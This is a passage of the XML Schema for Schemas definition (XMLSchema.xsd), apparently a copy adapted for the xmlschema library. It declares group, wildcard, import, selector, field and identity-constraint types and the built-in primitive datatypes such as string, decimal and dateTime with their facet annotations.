ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0"> <xs:element name="simpleType" type="xs:localSimpleType"/> <xs:element name="complexType" type="xs:localComplexType"/> </xs:choice> <xs:group ref="xs:identityConstraint" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="substitutionGroup" use="prohibited"/> <xs:attribute name="final" use="prohibited"/> <xs:attribute name="abstract" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="element" type="xs:topLevelElement" id="element"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-element"/> </xs:annotation> </xs:element> <xs:complexType name="group" abstract="true"> <xs:annotation> <xs:documentation> group type for explicit groups, named top-level groups and group references</xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:particle" minOccurs="0" maxOccurs="unbounded"/> <xs:attributeGroup ref="xs:defRef"/> <xs:attributeGroup ref="xs:occurs"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="realGroup"> <xs:complexContent> <xs:restriction base="xs:group"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0" maxOccurs="1"> <xs:element ref="xs:all"/> <xs:element ref="xs:choice"/> <xs:element ref="xs:sequence"/> </xs:choice> </xs:sequence> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="namedGroup"> <xs:complexContent> <xs:restriction base="xs:realGroup"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="1" maxOccurs="1"> <xs:element name="all"> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:all"> <xs:group ref="xs:allModel"/> <xs:attribute name="minOccurs" use="prohibited"/> <xs:attribute name="maxOccurs" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="choice" type="xs:simpleExplicitGroup"/> <xs:element name="sequence" type="xs:simpleExplicitGroup"/> </xs:choice> </xs:sequence> <xs:attribute name="name" use="required" type="xs:NCName"/> <xs:attribute name="ref" use="prohibited"/> <xs:attribute name="minOccurs" use="prohibited"/> <xs:attribute name="maxOccurs" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="groupRef"> <xs:complexContent> <xs:restriction base="xs:realGroup"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="ref" use="required" type="xs:QName"/> <xs:attribute name="name" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="explicitGroup"> <xs:annotation> <xs:documentation> group type for the three kinds of group</xs:documentation> </xs:annotation> <xs:complexContent> <xs:restriction base="xs:group"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:nestedParticle" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="prohibited"/> <xs:attribute name="ref" type="xs:QName" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="simpleExplicitGroup"> <xs:complexContent> <xs:restriction base="xs:explicitGroup"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:nestedParticle" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="minOccurs" use="prohibited"/> <xs:attribute name="maxOccurs" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:group name="allModel"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:annotation> <xs:documentation>This choice with min/max is here to avoid a pblm with the Elt:All/Choice/Seq Particle derivation constraint</xs:documentation> </xs:annotation> <xs:element name="element" type="xs:narrowMaxMin"/> </xs:choice> </xs:sequence> </xs:group> <xs:complexType name="narrowMaxMin"> <xs:annotation> <xs:documentation>restricted max/min</xs:documentation> </xs:annotation> <xs:complexContent> <xs:restriction base="xs:localElement"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0"> <xs:element name="simpleType" type="xs:localSimpleType"/> <xs:element name="complexType" type="xs:localComplexType"/> </xs:choice> <xs:group ref="xs:identityConstraint" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="minOccurs" use="optional" default="1"> <xs:simpleType> <xs:restriction base="xs:nonNegativeInteger"> <xs:enumeration value="0"/> <xs:enumeration value="1"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="maxOccurs" use="optional" default="1"> <xs:simpleType> <xs:restriction base="xs:allNNI"> <xs:enumeration value="0"/> <xs:enumeration value="1"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="all"> <xs:annotation> <xs:documentation> Only elements allowed inside</xs:documentation> </xs:annotation> <xs:complexContent> <xs:restriction base="xs:explicitGroup"> <xs:group ref="xs:allModel"/> <xs:attribute name="minOccurs" use="optional" default="1"> <xs:simpleType> <xs:restriction base="xs:nonNegativeInteger"> <xs:enumeration value="0"/> <xs:enumeration value="1"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="maxOccurs" use="optional" default="1"> <xs:simpleType> <xs:restriction base="xs:allNNI"> <xs:enumeration value="1"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="all" id="all" type="xs:all"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-all"/> </xs:annotation> </xs:element> <xs:element name="choice" type="xs:explicitGroup" id="choice"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-choice"/> </xs:annotation> </xs:element> <xs:element name="sequence" type="xs:explicitGroup" id="sequence"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-sequence"/> </xs:annotation> </xs:element> <xs:element name="group" type="xs:namedGroup" id="group"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-group"/> </xs:annotation> </xs:element> <xs:complexType name="wildcard"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="namespace" type="xs:namespaceList" use="optional" default="##any"/> <xs:attribute name="processContents" use="optional" default="strict"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="skip"/> <xs:enumeration value="lax"/> <xs:enumeration value="strict"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> <xs:element name="any" id="any"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-any"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:wildcard"> <xs:attributeGroup ref="xs:occurs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> simple type for the value of the 'namespace' attr of 'any' and 'anyAttribute'</xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation> Value is ##any - - any non-conflicting WFXML/attribute at all ##other - - any non-conflicting WFXML/attribute from namespace other than targetNS ##local - - any unqualified non-conflicting WFXML/attribute one or - - any non-conflicting WFXML/attribute from more URI the listed namespaces references (space separated) ##targetNamespace or ##local may appear in the above list, to refer to the targetNamespace of the enclosing schema or an absent targetNamespace respectively</xs:documentation> </xs:annotation> <xs:simpleType name="namespaceList"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:union> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="##any"/> <xs:enumeration value="##other"/> </xs:restriction> </xs:simpleType> <xs:simpleType> <xs:list> <xs:simpleType> <xs:union memberTypes="xs:anyURI"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="##targetNamespace"/> <xs:enumeration value="##local"/> </xs:restriction> </xs:simpleType> </xs:union> </xs:simpleType> </xs:list> </xs:simpleType> </xs:union> </xs:simpleType> <xs:element name="attribute" type="xs:topLevelAttribute" id="attribute"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-attribute"/> </xs:annotation> </xs:element> <xs:complexType name="attributeGroup" abstract="true"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:attrDecls"/> <xs:attributeGroup ref="xs:defRef"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="namedAttributeGroup"> <xs:complexContent> <xs:restriction base="xs:attributeGroup"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:attrDecls"/> </xs:sequence> <xs:attribute name="name" use="required" type="xs:NCName"/> <xs:attribute name="ref" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="attributeGroupRef"> <xs:complexContent> <xs:restriction base="xs:attributeGroup"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="ref" use="required" type="xs:QName"/> <xs:attribute name="name" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="attributeGroup" type="xs:namedAttributeGroup" id="attributeGroup"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-attributeGroup"/> </xs:annotation> </xs:element> <xs:element name="include" id="include"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-include"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="schemaLocation" type="xs:anyURI" use="required"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="redefine" id="redefine"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-redefine"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:openAttrs"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="xs:annotation"/> <xs:group ref="xs:redefinable"/> </xs:choice> <xs:attribute name="schemaLocation" type="xs:anyURI" use="required"/> <xs:attribute name="id" type="xs:ID"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="import" id="import"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-import"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="namespace" type="xs:anyURI"/> <xs:attribute name="schemaLocation" type="xs:anyURI"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="selector" id="selector"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-selector"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="xpath" use="required"> <xs:simpleType> <xs:annotation> <xs:documentation>A subset of XPath expressions for use in selectors</xs:documentation> <xs:documentation>A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:token"> <xs:annotation> <xs:documentation>The following pattern is intended to allow XPath expressions per the following EBNF: Selector ::= Path ( '|' Path )* Path ::= ('.//')? Step ( '/' Step )* Step ::= '.' | NameTest NameTest ::= QName | '*' | NCName ':' '*' child:: is also allowed </xs:documentation> </xs:annotation> <!-- xmlschema mod: replaced by a regex check in XsdSelector <xs:pattern value="(\.//)?(((child::)?((\i\c*:)?(\i\c*|\*)))|\.)(/(((child::)?((\i\c*:)?(\i\c*|\*)))|\.))*(\|(\.//)?(((child::)?((\i\c*:)?(\i\c*|\*)))|\.)(/(((child::)?((\i\c*:)?(\i\c*|\*)))|\.))*)*"> </xs:pattern> --> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="field" id="field"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-field"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="xpath" use="required"> <xs:simpleType> <xs:annotation> <xs:documentation>A subset of XPath expressions for use in fields</xs:documentation> <xs:documentation>A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:token"> <xs:annotation> <xs:documentation>The following pattern is intended to allow XPath expressions per the same EBNF as for selector, with the following change: Path ::= ('.//')? ( Step '/' )* ( Step | '@' NameTest ) </xs:documentation> </xs:annotation> <!-- xmlschema mod: replaced by a regex check in XsdFieldSelector <xs:pattern value="(\.//)?((((child::)?((\i\c*:)?(\i\c*|\*)))|\.)/)*((((child::)?((\i\c*:)?(\i\c*|\*)))|\.)|((attribute::|@)((\i\c*:)?(\i\c*|\*))))(\|(\.//)?((((child::)?((\i\c*:)?(\i\c*|\*)))|\.)/)*((((child::)?((\i\c*:)?(\i\c*|\*)))|\.)|((attribute::|@)((\i\c*:)?(\i\c*|\*)))))*"> </xs:pattern> --> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:complexType name="keybase"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element ref="xs:selector"/> <xs:element ref="xs:field" minOccurs="1" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:group name="identityConstraint"> <xs:annotation> <xs:documentation>The three kinds of identity constraints, all with type of or derived from 'keybase'. </xs:documentation> </xs:annotation> <xs:choice> <xs:element ref="xs:unique"/> <xs:element ref="xs:key"/> <xs:element ref="xs:keyref"/> </xs:choice> </xs:group> <xs:element name="unique" type="xs:keybase" id="unique"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-unique"/> </xs:annotation> </xs:element> <xs:element name="key" type="xs:keybase" id="key"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-key"/> </xs:annotation> </xs:element> <xs:element name="keyref" id="keyref"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-keyref"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:keybase"> <xs:attribute name="refer" type="xs:QName" use="required"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="notation" id="notation"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-notation"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="name" type="xs:NCName" use="required"/> <xs:attribute name="public" type="xs:public"/> <xs:attribute name="system" type="xs:anyURI"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:simpleType name="public"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> <xs:documentation> A public identifier, per ISO 8879</xs:documentation> </xs:annotation> <xs:restriction base="xs:token"/> </xs:simpleType> <xs:element name="appinfo" id="appinfo"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-appinfo"/> </xs:annotation> <xs:complexType mixed="true"> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:any processContents="lax"/> </xs:sequence> <xs:attribute name="source" type="xs:anyURI"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:complexType> </xs:element> <xs:element name="documentation" id="documentation"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-documentation"/> </xs:annotation> <xs:complexType mixed="true"> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:any processContents="lax"/> </xs:sequence> <xs:attribute name="source" type="xs:anyURI"/> <xs:attribute ref="xml:lang"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:complexType> </xs:element> <xs:element name="annotation" id="annotation"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-annotation"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:openAttrs"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="xs:appinfo"/> <xs:element ref="xs:documentation"/> </xs:choice> <xs:attribute name="id" type="xs:ID"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> notations for use within XML Schema schemas</xs:documentation> </xs:annotation> <xs:notation name="XMLSchemaStructures" public="structures" system="http://www.w3.org/2000/08/XMLSchema.xsd"/> <xs:notation name="XML" public="REC-xml-19980210" system="http://www.w3.org/TR/1998/REC-xml-19980210"/> <xs:complexType name="anyType" mixed="true"> <xs:annotation> <xs:documentation> Not the real urType, but as close an approximation as we can get in the XML representation</xs:documentation> </xs:annotation> <xs:sequence> <xs:any minOccurs="0" maxOccurs="unbounded" processContents="lax"/> </xs:sequence> <xs:anyAttribute processContents="lax"/> </xs:complexType> <xs:annotation> <xs:documentation> First the built-in primitive datatypes. These definitions are for information only, the real built-in definitions are magic. </xs:documentation> <xs:documentation> For each built-in datatype in this schema (both primitive and derived) can be uniquely addressed via a URI constructed as follows: 1) the base URI is the URI of the XML Schema namespace 2) the fragment identifier is the name of the datatype For example, to address the int datatype, the URI is: http://www.w3.org/2001/XMLSchema#int Additionally, each facet definition element can be uniquely addressed via a URI constructed as follows: 1) the base URI is the URI of the XML Schema namespace 2) the fragment identifier is the name of the facet For example, to address the maxInclusive facet, the URI is: http://www.w3.org/2001/XMLSchema#maxInclusive Additionally, each facet usage in a built-in datatype definition can be uniquely addressed via a URI constructed as follows: 1) the base URI is the URI of the XML Schema namespace 2) the fragment identifier is the name of the datatype, followed by a period (".") followed by the name of the facet For example, to address the usage of the maxInclusive facet in the definition of int, the URI is: http://www.w3.org/2001/XMLSchema#int.maxInclusive </xs:documentation> </xs:annotation> <xs:simpleType name="string" id="string"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#string"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="preserve" id="string.preserve"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="boolean" id="boolean"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="finite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#boolean"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="boolean.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="float" id="float"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="total"/> <hfp:hasProperty name="bounded" value="true"/> <hfp:hasProperty name="cardinality" value="finite"/> <hfp:hasProperty name="numeric" value="true"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#float"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="float.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="double" id="double"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="total"/> <hfp:hasProperty name="bounded" value="true"/> <hfp:hasProperty name="cardinality" value="finite"/> <hfp:hasProperty name="numeric" value="true"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#double"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="double.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="decimal" id="decimal"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="totalDigits"/> <hfp:hasFacet name="fractionDigits"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="total"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="true"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#decimal"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="decimal.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="duration" id="duration"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#duration"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="duration.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="dateTime" id="dateTime"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#dateTime"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="dateTime.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="time" id="time"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#time"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="time.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="date" id="date"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#date"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="date.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="gYearMonth" id="gYearMonth"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#gYearMonth"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="gYearMonth.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="gYear" id="gYear"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#gYear"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="gYear.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="gMonthDay" id="gMonthDay"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#gMonthDay"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="gMonthDay.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="gDay" id="gDay"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#gDay"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="gDay.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="gMonth" id="gMonth"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#gMonth"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="gMonth.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="hexBinary" id="hexBinary"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#binary"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="hexBinary.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="base64Binary" id="base64Binary"> <xs:annotation> <xs:appinfo> 